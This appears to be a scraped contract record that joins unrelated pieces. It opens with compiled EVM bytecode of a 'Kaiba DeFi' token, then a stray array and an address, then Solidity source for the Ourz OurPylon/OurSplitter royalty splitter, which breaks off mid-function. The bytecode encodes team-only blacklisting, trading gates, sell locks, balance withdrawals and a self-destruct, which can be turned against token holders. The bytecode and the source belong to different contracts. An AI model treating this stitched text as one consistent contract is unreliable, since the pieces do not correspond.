080fd5b50600b5461077490600160201b900461ffff1681565b60405161ffff9091168152602001610602565b34801561079357600080fd5b5061058e6107a2366004613623565b6113ee565b3480156107b357600080fd5b50610643601a5481565b3480156107c957600080fd5b506011546106fb9062010000900460ff1681565b3480156107e957600080fd5b50600d54610643565b3480156107fe57600080fd5b50610643611422565b34801561081357600080fd5b50600b5461077490610100900461ffff1681565b34801561083357600080fd5b5061072d610842366004613696565b61143f565b34801561085357600080fd5b50601454610678906001600160a01b031681565b34801561087357600080fd5b506011546106fb90600160201b900460ff1681565b34801561089457600080fd5b50600b546106fb906301000000900460ff1681565b3480156108b557600080fd5b5060096106fb565b3480156108c957600080fd5b50610643601b5481565b3480156108df57600080fd5b506106fb600981565b3480156108f457600080fd5b5061058e61090336600461378f565b6114d6565b34801561091457600080fd5b50600b5461077490600160301b900461ffff1681565b34801561093657600080fd5b5061058e610945366004613731565b611500565b34801561095657600080fd5b506011546106fb906301000000900460ff1681565b34801561097757600080fd5b5061072d610986366004613705565b611549565b34801561099757600080fd5b50610643601c5481565b3480156109ad57600080fd5b5061064360175481565b3480156109c357600080fd5b5061058e6109d2366004613623565b611580565b3480156109e357600080fd5b506011546106fb9060ff1681565b3480156109fd57600080fd5b50610643610a0c366004613623565b611605565b348015610a1d57600080fd5b5061064360165481565b348015610a3357600080fd5b50601f5461072d90610100900460ff1681565b348015610a5257600080fd5b50601254610678906001600160a01b031681565b348015610a7257600080fd5b5061058e610a81366004613623565b61163f565b348015610a9257600080fd5b50610643600f5481565b348015610aa857600080fd5b5061058e610ab7366004613623565b61168e565b348015610ac857600080fd5b5061058e6116f4565b348015610add57600080fd5b5061058e61171c565b348015610af257600080fd5b5061064360105481565b348015610b0857600080fd5b5061064360195481565b348015610b1e57600080fd5b50601e54610643565b348015610b3357600080fd5b5061058e610b42366004613623565b61175b565b348015610b5357600080fd5b5061058e610b62366004613623565b6117a1565b348015610b7357600080fd5b5061058e610b82366004613705565b61191a565b348015610b9357600080fd5b50610643610ba2366004613623565b60016020526000908152604090205481565b348015610bc057600080fd5b5061058e610bcf36600461378f565b611a60565b348015610be057600080fd5b50610643610bef366004613623565b6001600160a01b031660009081526001602052604090205490565b348015610c1657600080fd5b5061058e611b08565b348015610c2b57600080fd5b50610643600e5481565b348015610c4157600080fd5b506018546106fb9062010000900460ff1681565b348015610c6157600080fd5b506018546106fb90610100900460ff1681565b348015610c8057600080fd5b5061058e610c8f36600461378f565b611bbb565b348015610ca057600080fd5b5061058e610caf366004613731565b611bf9565b348015610cc057600080fd5b5061067861dead81565b348015610cd657600080fd5b5061058e610ce5366004613811565b611c38565b348015610cf657600080fd5b5061058e610d053660046136d7565b611c79565b348015610d1657600080fd5b50601f5461072d9060ff1681565b348015610d3057600080fd5b50601d5461072d90610100900460ff1681565b348015610d4f57600080fd5b506000546001600160a01b0316610678565b348015610d6d57600080fd5b5061058e610d7c366004613811565b611cc9565b348015610d8d57600080fd5b50601554610678906001600160a01b031681565b348015610dad57600080fd5b506040805180820190915260058152644b4149424160d81b60208201526106bf565b348015610ddb57600080fd5b506011546106fb90600160301b900460ff1681565b348015610dfc57600080fd5b5061058e610e0b36600461382c565b611d0c565b348015610e1c57600080fd5b5061058e611e4b565b348015610e3157600080fd5b5061072d610e40366004613623565b60086020526000908152604090205460ff1681565b348015610e6157600080fd5b50610643600d5481565b348015610e7757600080fd5b5061072d610e86366004613705565b611ec5565b348015610e9757600080fd5b5061058e610ea6366004613731565b611f41565b348015610eb757600080fd5b5061072d610ec6366004613705565b611f79565b348015610ed757600080fd5b5061058e610ee636600461378f565b611f86565b348015610ef757600080fd5b5060115461072d90600160481b900460ff1681565b348015610f1857600080fd5b5061058e610f27366004613731565b611fb0565b348015610f3857600080fd5b5061058e610f47366004613623565b611ffb565b348015610f5857600080fd5b506106bf604051806040016040528060058152602001644b4149424160d81b81525081565b348015610f8957600080fd5b5061058e610f98366004613623565b612067565b348015610fa957600080fd5b5061058e610fb8366004613623565b6120f2565b348015610fc957600080fd5b5061058e610fd8366004613731565b61213b565b348015610fe957600080fd5b5061058e610ff8366004613731565b612173565b34801561100957600080fd5b5061058e611018366004613731565b6121ab565b34801561102957600080fd5b50601354610678906001600160a01b031681565b34801561104957600080fd5b50610678737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561107157600080fd5b506011546106fb90610100900460ff1681565b34801561109057600080fd5b506106bf6040518060400160405280600a8152602001694b61696261204465466960b01b81525081565b3480156110c657600080fd5b5061058e6110d5366004613623565b6121ea565b3480156110e657600080fd5b5061058e6110f5366004613623565b61221a565b34801561110657600080fd5b5061058e611115366004613811565b61224a565b34801561112657600080fd5b5060115461072d90600160401b900460ff1681565b34801561114757600080fd5b5061058e612285565b34801561115c57600080fd5b5061064361116b36600461365d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156111a257600080fd5b5061058e6111b13660046137c1565b6122c4565b3480156111c257600080fd5b5061058e6111d136600461376b565b612323565b3480156111e257600080fd5b506111eb61236d565b60408051928352602083019190915201610602565b34801561120c57600080fd5b5061058e61121b3660046136d7565b6123aa565b34801561122c57600080fd5b5061058e61123b366004613623565b6123fa565b34801561124c57600080fd5b5061058e61125b366004613623565b61242a565b34801561126c57600080fd5b50610643601e5481565b34801561128257600080fd5b506011546106fb90600160281b900460ff1681565b3480156112a357600080fd5b506106436112b2366004613623565b60036020526000908152604090205481565b6112cd33612568565b6112f25760405162461bcd60e51b81526004016112e990613907565b60405180910390fd5b601a805460009182905560405190913391829084905b60006040518083038185875af1925050503d8060008114611345576040519150601f19603f3d011682016040523d82523d6000602084013e61134a565b606091505b505090508061138d5760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b60448201526064016112e9565b505050565b600061139f33848461259f565b5060015b92915050565b6113b233612568565b6113ce5760405162461bcd60e51b81526004016112e990613907565b6113dc426301e133806139ce565b33600090815260036020526040902055565b6113f733612568565b6114135760405162461bcd60e51b81526004016112e990613907565b61141e600482612553565b5050565b61142e6009600a613a70565b61143c906305f5e100613b1b565b81565b600061144c848484612692565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156114b75760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b60448201526064016112e9565b6114cb85336114c68685613b3a565b61259f565b506001949350505050565b6114df33612568565b6114fb5760405162461bcd60e51b81526004016112e990613907565b600a55565b61150933612568565b6115255760405162461bcd60e51b81526004016112e990613907565b60118054911515600160481b0269ff00000000000000000019909216919091179055565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161139f9185906114c69086906139ce565b61158933612568565b6115a55760405162461bcd60e51b81526004016112e990613907565b601380546001600160a01b0319166001600160a01b0383811691821783556000918252600c6020526040909120805460ff1916600117905590546115ec9160049116612553565b5060125461141e906006906001600160a01b0316612553565b6001600160a01b03811660009081526003602052604081205442811161162e5750600092915050565b6116384282613b3a565b9392505050565b61164833612568565b6116645760405162461bcd60e51b81526004016112e990613907565b601f80546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b61169733612568565b6116b35760405162461bcd60e51b81526004016112e990613907565b601180546001600160a01b03909216600160501b027fffff0000000000000000000000000000000000000000ffffffffffffffffffff909216919091179055565b6116fd33612568565b6117195760405162461bcd60e51b81526004016112e990613907565b33ff5b61172533612568565b6117415760405162461bcd60e51b81526004016112e990613907565b601b80546000918290556040519091339182908490611308565b61176433612568565b6117805760405162461bcd60e51b81526004016112e990613907565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6117aa33612568565b6117c65760405162461bcd60e51b81526004016112e990613907565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b15801561180a57600080fd5b505afa15801561181e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184291906137a8565b9050600081116118945760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e6365000000000000000060448201526064016112e9565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b1580156118dc57600080fd5b505af11580156118f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611914919061374e565b50505050565b61192333612568565b61193f5760405162461bcd60e51b81526004016112e990613907565b6001600160a01b03821660009081526001602052604090205481111561199b5760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b60448201526064016112e9565b6119a76009600a613a70565b6119b19082613b1b565b6001600160a01b038316600090815260016020526040812080549091906119d9908490613b3a565b909155506119eb90506009600a613a70565b6119f59082613b1b565b3060009081526001602052604081208054909190611a149084906139ce565b909155503090506001600160a01b038316600080516020613bb7833981519152611a406009600a613a70565b611a4a9085613b1b565b6040519081526020015b60405180910390a35050565b611a6933612568565b611a855760405162461bcd60e51b81526004016112e990613907565b30600090815260016020526040902054811115611aa157600080fd5b3060009081526001602052604081208054839290611ac0908490613b3a565b9250508190555080600d6000828254611ad99190613b3a565b909155505060405181815261dead903090600080516020613bb78339815191529060200160405180910390a350565b33611b1b6000546001600160a01b031690565b6001600160a01b031614611b715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016112e9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b611bc433612568565b611be05760405162461bcd60e51b81526004016112e990613907565b611bf6611bf182633b9aca00613b1b565b612aa2565b50565b611c0233612568565b611c1e5760405162461bcd60e51b81526004016112e990613907565b601d80549115156101000261ff0019909216919091179055565b611c4133612568565b611c5d5760405162461bcd60e51b81526004016112e990613907565b6018805460ff9092166101000261ff0019909216919091179055565b611c8233612568565b611c9e5760405162461bcd60e51b81526004016112e990613907565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b611cd233612568565b611cee5760405162461bcd60e51b81526004016112e990613907565b6018805460ff909216620100000262ff000019909216919091179055565b611d1533612568565b611d315760405162461bcd60e51b81526004016112e990613907565b60008486611d3f898b6139e6565b611d4991906139e6565b611d5391906139e6565b90508060ff16606414611db75760405162461bcd60e51b815260206004820152602660248201527f6275726e2b6c69712b6d61726b6574696e67206e6565647320746f20657175616044820152656c203130302560d01b60648201526084016112e9565b506011805460ff928316620100000262ff0000199484166101000261ffff19978516600160201b0264ff00000000199986166301000000029990991664ffff000000199a8616600160281b0265ff0000000000199c8716600160301b029c909c1666ffff000000000019909416939093179a909a179890981617959095179390931691909216179390931792909216179055565b611e5433612568565b611e705760405162461bcd60e51b81526004016112e990613907565b604051600090339047908381818185875af1925050503d8060008114611eb2576040519150601f19603f3d011682016040523d82523d6000602084013e611eb7565b606091505b5050905080611bf657600080fd5b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015611f285760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b60448201526064016112e9565b611f3733856114c68685613b3a565b5060019392505050565b611f4a33612568565b611f665760405162461bcd60e51b81526004016112e990613907565b6009805460ff1916911515919091179055565b600061139f338484612692565b611f8f33612568565b611fab5760405162461bcd60e51b81526004016112e990613907565b601e55565b611fb933612568565b611fd55760405162461bcd60e51b81526004016112e990613907565b601180549115156701000000000000000267ff0000000000000019909216919091179055565b61200433612568565b6120205760405162461bcd60e51b81526004016112e990613907565b601280546001600160a01b0319166001600160a01b0383811691821783556000918252600c6020526040909120805460ff1916600117905590546115ec9160049116612553565b61207033612568565b61208c5760405162461bcd60e51b81526004016112e990613907565b6001600160a01b0381166000908152600160205260408082208054908390553083529082208054919283926120c29084906139ce565b909155505060405181815230906001600160a01b03841690600080516020613bb783398151915290602001611a54565b6120fb33612568565b6121175760405162461bcd60e51b81526004016112e990613907565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b61214433612568565b6121605760405162461bcd60e51b81526004016112e990613907565b600b805460ff1916911515919091179055565b61217c33612568565b6121985760405162461bcd60e51b81526004016112e990613907565b601f805460ff1916911515919091179055565b6121b433612568565b6121d05760405162461bcd60e51b81526004016112e990613907565b601f80549115156101000261ff0019909216919091179055565b6121f333612568565b61220f5760405162461bcd60e51b81526004016112e990613907565b61141e600682612553565b61222333612568565b61223f5760405162461bcd60e51b81526004016112e990613907565b61141e600682612c88565b61225333612568565b61226f5760405162461bcd60e51b81526004016112e990613907565b6018805460ff191660ff92909216919091179055565b61228e33612568565b6122aa5760405162461bcd60e51b81526004016112e990613907565b601980546000918290556040519091339182908490611308565b6122cd33612568565b6122e95760405162461bcd60e51b81526004016112e990613907565b6122f56009600a613a70565b6122ff9083613b1b565b915061230d6009600a613a70565b6123179082613b1b565b600e9290925550600f55565b61232c33612568565b6123485760405162461bcd60e51b81526004016112e990613907565b600b805461ffff909216600160301b0267ffff00000000000019909216919091179055565b60008061237c6009600a613a70565b600e546123899190613a0b565b6123956009600a613a70565b600f546123a29190613a0b565b915091509091565b6123b333612568565b6123cf5760405162461bcd60e51b81526004016112e990613907565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b61240333612568565b61241f5760405162461bcd60e51b81526004016112e990613907565b61141e600482612c88565b3361243d6000546001600160a01b031690565b6001600160a01b0316146124935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016112e9565b6001600160a01b0381166124f85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016112e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611638836001600160a01b038416612c9d565b600080546001600160a01b03838116911614806113a35750506001600160a01b03166000908152600c602052604090205460ff1690565b6001600160a01b0383166125e95760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b60448201526064016112e9565b6001600160a01b0382166126315760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b60448201526064016112e9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166126dd5760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b60448201526064016112e9565b6001600160a01b0382166127265760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b60448201526064016112e9565b60095460ff16156127ae576001600160a01b03831660009081526008602052604090205460ff1615801561277357506001600160a01b03821660009081526008602052604090205460ff16155b6127ae5760405162461bcd60e51b815260206004820152600c60248201526b426c61636b6c69737465642160a01b60448201526064016112e9565b6011546001600160a01b03848116600160501b909204161460006127d3600486612cec565b806127e457506127e4600485612cec565b8061280757506001600160a01b0385166000908152600c602052604090205460ff165b8061282a57506001600160a01b0384166000908152600c602052604090205460ff165b905060006001600160a01b03861630148061284d57506001600160a01b03851630145b6014549091506000906001600160a01b03888116911614801561288c57506001600160a01b038616737a250d5630b4cf539739df2c5dacb4c659f2488d145b806128cb57506014546001600160a01b0387811691161480156128cb57506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b905081806128d65750805b806128de5750825b806128e65750835b156128fb576128f6878787612d0e565b612a99565b601f54610100900460ff166129e9576000546001600160a01b0388811691161480159061293657506000546001600160a01b03878116911614155b156129e957601154600160401b900460ff161561299257856001600160a01b0316876001600160a01b0316600080516020613bb7833981519152600060405161298191815260200190565b60405180910390a350505050505050565b601f54610100900460ff166129e95760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206e6f742079657420656e61626c656400000000000000000060448201526064016112e9565b6014546000906001600160a01b0389811691161480612a2457506001600160a01b038816737a250d5630b4cf539739df2c5dacb4c659f2488d145b6014549091506000906001600160a01b0389811691161480612a6257506001600160a01b038816737a250d5630b4cf539739df2c5dacb4c659f2488d145b9050612a718989898585612dc7565b601154600160481b900460ff1615612a96575060009450849350839250829150819050805b50505b50505050505050565b601d805460ff191660019081179091553060009081526020919091526040812054601154909190612ae790600160201b810460ff9081169163010000009004166139e6565b60ff1690506000600a54905083811115612b0957600b5460ff1615612b095750825b80831080612b19575061ffff8216155b15612b2657505050612c7b565b60115460009061ffff841690612b46906301000000900460ff1684613b1b565b612b509190613a0b565b60115490915060009061ffff851690612b7390600160201b900460ff1685613b1b565b612b7d9190613a0b565b60115490915060009061ffff861690612ba090600160301b900460ff1686613b1b565b612baa9190613a0b565b60115490915060009061ffff871690612bcd90600160281b900460ff1687613b1b565b612bd79190613a0b565b90506000612be6600286613a0b565b90506000612bf48287613b3a565b905060008484612c0488856139ce565b612c0e91906139ce565b612c1891906139ce565b905047612c2482613182565b6000612c308247613b3a565b9050600083612c3f8684613b1b565b612c499190613a0b565b9050612c5586826132ea565b6000612c618447613b3a565b9050612c6c816133c1565b50505050505050505050505050505b50601d805460ff19169055565b6000611638836001600160a01b038416613483565b6000818152600183016020526040812054612ce4575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556113a3565b5060006113a3565b6001600160a01b03811660009081526001830160205260408120541515611638565b6001600160a01b03831660009081526001602052604090205481811015612d725760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b60448201526064016112e9565b612d7c8483613570565b612d8683836135b5565b826001600160a01b0316846001600160a01b0316600080516020613bb783398151915284604051612db991815260200190565b60405180910390a350505050565b6001600160a01b0380851660009081526001602052604080822054928816825290205484811015612e355760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b60448201526064016112e9565b6002600f54612e449190613a0b565b600a5560008315612f4957612e5a600689612cec565b612ef4576001600160a01b03881660009081526003602052604090205442101580612e8c5750601d54610100900460ff165b612ecd5760405162461bcd60e51b815260206004820152601260248201527153656c6c657220696e2073656c6c4c6f636b60701b60448201526064016112e9565b601e54612eda90426139ce565b6001600160a01b0389166000908152600360205260409020555b600f54861115612f385760405162461bcd60e51b815260206004820152600f60248201526e223ab6b810383937ba32b1ba34b7b760891b60448201526064016112e9565b50601154610100900460ff1661305b565b8415612fa857600e54612f5c87856139ce565b1115612f7a5760405162461bcd60e51b81526004016112e990613933565b601054861115612f9c5760405162461bcd60e51b81526004016112e990613933565b5060115460ff1661305b565b600e54612fb587856139ce565b1115612fd35760405162461bcd60e51b81526004016112e990613933565b612fde600689612cec565b61304d576001600160a01b038816600090815260036020526040902054421015806130105750601d54610100900460ff165b61304d5760405162461bcd60e51b815260206004820152600e60248201526d53656e64657220696e204c6f636b60901b60448201526064016112e9565b5060115462010000900460ff165b6014546001600160a01b0389811691161480159061307c5750601f5460ff16155b801561308b5750601d5460ff16155b156130995761309986612aa2565b6011546000906130f2908890849060ff600160301b8204811691600160281b81048216916130d99163010000008104821691600160201b909104166139e6565b6130e391906139e6565b6130ed91906139e6565b6135d9565b905060006131008289613b3a565b905061310c8a89613570565b306000908152600160205260408120805484929061312b9084906139ce565b9091555061313b905089826135b5565b886001600160a01b03168a6001600160a01b0316600080516020613bb78339815191528360405161316e91815260200190565b60405180910390a350505050505050505050565b60155461319a9030906001600160a01b03168361259f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106131cf576131cf613b7d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561322357600080fd5b505afa158015613237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061325b9190613640565b8160018151811061326e5761326e613b7d565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac947906132b490859060009086903090429060040161395d565b600060405180830381600087803b1580156132ce57600080fd5b505af11580156132e2573d6000803e3d6000fd5b505050505050565b80601c60008282546132fc91906139ce565b90915550506015546133199030906001600160a01b03168461259f565b60155460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561338157600080fd5b505af1158015613395573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133ba91906137e3565b5050505050565b6018546000906064906133d79060ff1684613b1b565b6133e19190613a0b565b6018549091506000906064906134009062010000900460ff1685613b1b565b61340a9190613a0b565b60185490915060009060649061342890610100900460ff1686613b1b565b6134329190613a0b565b9050826019600082825461344691906139ce565b9250508190555081601b600082825461345f91906139ce565b9250508190555080601a600082825461347891906139ce565b909155505050505050565b600081815260018301602052604081205480156135665760006134a7600183613b3a565b85549091506000906134bb90600190613b3a565b905060008660000182815481106134d4576134d4613b7d565b90600052602060002001549050808760000184815481106134f7576134f7613b7d565b60009182526020808320909101929092558281526001890190915260409020849055865487908061352a5761352a613b67565b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506113a3565b60009150506113a3565b6001600160a01b038216600090815260016020526040812054613594908390613b3a565b6001600160a01b039093166000908152600160205260409020929092555050565b6001600160a01b0382166000908152600160205260408120546135949083906139ce565b60006127108260ff168460ff16866135f19190613b1b565b6135fb9190613b1b565b6136059190613a0b565b949350505050565b803560ff8116811461361e57600080fd5b919050565b60006020828403121561363557600080fd5b813561163881613b93565b60006020828403121561365257600080fd5b815161163881613b93565b6000806040838503121561367057600080fd5b823561367b81613b93565b9150602083013561368b81613b93565b809150509250929050565b6000806000606084860312156136ab57600080fd5b83356136b681613b93565b925060208401356136c681613b93565b929592945050506040919091013590565b600080604083850312156136ea57600080fd5b82356136f581613b93565b9150602083013561368b81613ba8565b6000806040838503121561371857600080fd5b823561372381613b93565b946020939093013593505050565b60006020828403121561374357600080fd5b813561163881613ba8565b60006020828403121561376057600080fd5b815161163881613ba8565b60006020828403121561377d57600080fd5b813561ffff8116811461163857600080fd5b6000602082840312156137a157600080fd5b5035919050565b6000602082840312156137ba57600080fd5b5051919050565b600080604083850312156137d457600080fd5b50508035926020909101359150565b6000806000606084860312156137f857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561382357600080fd5b6116388261360d565b600080600080600080600060e0888a03121561384757600080fd5b6138508861360d565b965061385e6020890161360d565b955061386c6040890161360d565b945061387a6060890161360d565b93506138886080890161360d565b925061389660a0890161360d565b91506138a460c0890161360d565b905092959891949750929550565b600060208083528351808285015260005b818110156138df578581018301518582016040015282016138c3565b818111156138f1576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526012908201527143616c6c6572206e6f7420696e205465616d60701b604082015260600190565b60208082526010908201526f3bb430b63290383937ba32b1ba34b7b760811b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156139ad5784516001600160a01b031683529383019391830191600101613988565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156139e1576139e1613b51565b500190565b600060ff821660ff84168060ff03821115613a0357613a03613b51565b019392505050565b600082613a2857634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115613a68578160001904821115613a4e57613a4e613b51565b80851615613a5b57918102915b93841c9390800290613a32565b509250929050565b600061163860ff841683600082613a89575060016113a3565b81613a96575060006113a3565b8160018114613aac5760028114613ab657613ad2565b60019150506113a3565b60ff841115613ac757613ac7613b51565b50506001821b6113a3565b5060208310610133831016604e8410600b8410161715613af5575081810a6113a3565b613aff8383613a2d565b8060001904821115613b1357613b13613b51565b029392505050565b6000816000190483118215151615613b3557613b35613b51565b500290565b600082821015613b4c57613b4c613b51565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611bf657600080fd5b8015158114611bf657600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212205efa1b3318facc87d506f5e59182ab6e7df9bb87d92c8bb0f4d7e5d6a7d4104b64736f6c63430008070033
[ 13, 16, 5 ]
0xf2219D832704C50dee7b7d2576c76052Cc21EABB
// SPDX-License-Identifier: GPL-3.0-or-later /** ____________________________________________________________________________________ ___________/\/\/\/\________/\/\____/\/\______/\/\/\/\/\________/\/\/\/\/\/\_________ _________/\/\____/\/\______/\/\____/\/\______/\/\____/\/\____________/\/\___________ _________/\/\____/\/\______/\/\____/\/\______/\/\/\/\/\____________/\/\_____________ _________/\/\____/\/\______/\/\____/\/\______/\/\__/\/\__________/\/\_______________ ___________/\/\/\/\__________/\/\/\/\________/\/\____/\/\______/\/\/\/\/\/\_________ ____________________________________________________________________________________ */ pragma solidity 0.8.4; import {OurSplitter} from "./OurSplitter.sol"; import {OurMinter} from "./OurMinter.sol"; import {OurIntrospector} from "./OurIntrospector.sol"; /** * @title OurPylon * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora */ contract OurPylon is OurSplitter, OurMinter, OurIntrospector { // Disables modification of Pylon after deployment constructor() { threshold = 1; } /** * @dev Setup function sets initial storage of Poxy. * @param owners_ List of addresses that can execute transactions other than claiming funds. * @notice see OurManagement -> setupOwners() * @notice approves Zora AH to handle Zora ERC721s */ function setup(address[] calldata owners_) external { setupOwners(owners_); emit SplitSetup(owners_); // Approve Zora AH _setApprovalForAH(); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.4; import {OurStorage} from "./OurStorage.sol"; interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); } /** * @title OurSplitter * @author Nick A. * https://github.com/ourz-network/our-contracts * * These contracts enable creators, builders, & collaborators of all kinds * to receive royalties for their collective work, forever. * * Thank you, * @author Mirror @title Splits https://github.com/mirror-xyz/splits * @author Gnosis @title Safe https://github.com/gnosis/safe-contracts * @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts * @author Zora https://github.com/ourzora */ contract OurSplitter is OurStorage { struct Proof { bytes32[] merkleProof; } uint256 public constant PERCENTAGE_SCALE = 10e5; /**======== Subgraph ========= * ETHReceived - emits sender and value in receive() fallback * WindowIncremented - emits current claim window, and available value of ETH * TransferETH - emits to address, value, and success bool * TransferERC20 - emits token's contract address and total transferred amount */ event ETHReceived(address indexed sender, uint256 value); event WindowIncremented(uint256 currentWindow, uint256 fundsAvailable); event TransferETH(address account, uint256 amount, bool success); event TransferERC20(address token, uint256 amount); // Plain ETH transfers receive() external payable { _depositedInWindow += msg.value; emit ETHReceived(msg.sender, msg.value); } function claimETH( uint256 window, address account, uint256 scaledPercentageAllocation, bytes32[] calldata merkleProof ) external { require(currentWindow > window, "cannot claim for a future window"); require( !isClaimed(window, account), "Account already claimed the given window" ); _setClaimed(window, account); require( _verifyProof( merkleProof, merkleRoot, _getNode(account, scaledPercentageAllocation) ), "Invalid proof" ); _transferETHOrWETH( account, // The absolute amount that's claimable. scaleAmountByPercentage( balanceForWindow[window], scaledPercentageAllocation ) ); } /** * @dev Attempts transferring entire balance of an ERC20 to corresponding Recipients * @notice if amount of tokens are not equally divisible according to allocation * the remainder will be forwarded to accounts[0]. * In most cases, the difference will be negligible: * ~remainder × 10^-17, * or about 0.000000000000000100 at most. * @notice iterating through an array to push payments goes against best practices, * therefore it is advised to avoid accepting ERC-20s as payment. */ function claimERC20ForAll( address tokenAddress, address[] calldata accounts, uint256[] calldata allocations, Proof[] calldata merkleProofs ) external { require( _verifyProof( merkleProofs[0].merkleProof, merkleRoot, _getNode(accounts[0], allocations[0]) ), "Invalid proof for Account 0" ); uint256 erc20Balance = IERC20(tokenAddress).balanceOf(address(this)); for (uint256 i = 1; i < accounts.length; i++) { require( _verifyProof( merkleProofs[i].merkleProof, merkleRoot, _getNode(accounts[i], allocations[i]) ), "Invalid proof" ); uint256 scaledAmount = scaleAmountByPercentage( erc20Balance, allocations[i] ); _attemptERC20Transfer(tokenAddress, accounts[i], scaledAmount); } _attemptERC20Transfer( tokenAddress, accounts[0], IERC20(tokenAddress).balanceOf(address(this)) ); emit TransferERC20(tokenAddress, erc20Balance); } function claimETHForAllWindows( address account, uint256 percentageAllocation, bytes32[] calldata merkleProof ) external { // Make sure that the user has this allocation granted. require( _verifyProof( merkleProof, merkleRoot, _getNode(account, percentageAllocation) ), "Invalid proof" ); uint256 amount = 0; for (uint256 i = 0; i < currentWindow; i++) { if (!isClaimed(i, account)) { _setClaimed(i, account); amount += scaleAmountByPercentage( balanceForWindow[i], percentageAllocation ); } } _transferETHOrWETH(account, amount); } function incrementThenClaimAll( address account, uint256 percentageAllocation, bytes32[] calldata merkleProof ) external { incrementWindow(); _claimAll(account, percentageAllocation, merkleProof); } function incrementWindow() public { uint256 fundsAvailable; if (currentWindow == 0) { fundsAvailable = address(this).balance; } else { // Current Balance, subtract previous balance to get the // funds that were added for this window. fundsAvailable = _depositedInWindow; } _depositedInWindow = 0; require(fundsAvailable > 0, "No additional funds for window"); balanceForWindow.push(fundsAvailable); currentWindow += 1; emit WindowIncremented(currentWindow, fundsAvailable); } function isClaimed(uint256 window, address account) public view returns (bool) { return _claimed[_getClaimHash(window, account)]; } function scaleAmountByPercentage(uint256 amount, uint256 scaledPercent) public pure returns (uint256 scaledAmount) { /* Example: BalanceForWindow = 100 ETH // Allocation = 2% To find out the amount we use, for example: (100 * 200) / (100 * 100) which returns 2 -- i.e. 2% of the 100 ETH balance. */ scaledAmount = (amount * scaledPercent) / (100 * PERCENTAGE_SCALE); } /// @notice same as claimETHForAllWindows() but marked private for use in incrementThenClaimAll() function _claimAll( address account, uint256 percentageAllocation, bytes32[] calldata merkleProof 